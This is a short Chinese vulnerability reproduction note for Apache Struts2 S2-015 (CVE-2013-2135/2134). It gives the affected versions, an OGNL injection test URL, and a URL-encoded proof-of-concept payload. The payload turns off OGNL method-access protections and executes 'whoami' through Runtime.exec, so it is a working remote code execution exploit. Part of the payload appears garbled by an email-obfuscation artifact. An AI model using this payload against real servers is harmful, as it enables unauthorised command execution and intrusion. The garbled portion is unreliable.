（CVE-2013-2135）（CVE-2013-2134）s2-015.md

914 B / 2021-07-15 19:48:27
    （CVE-2013-2135）（CVE-2013-2134）s2-015
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一、漏洞简介
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基于通配符定义的动作映射，如果一个请求跟任何其他定义的操作不匹配，他将会匹配\*，并且请求的同操作名称的jsp文件

二、漏洞影响
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2.0.0 - 2.3.14.2

三、复现过程
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    http://www.0-sec.org:8080/example/HelloWorld.action

==\>改成

    http://www.0-sec.org:8080/example/%25%7B1%2B1%7D.action

图片.png

### poc

    %24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action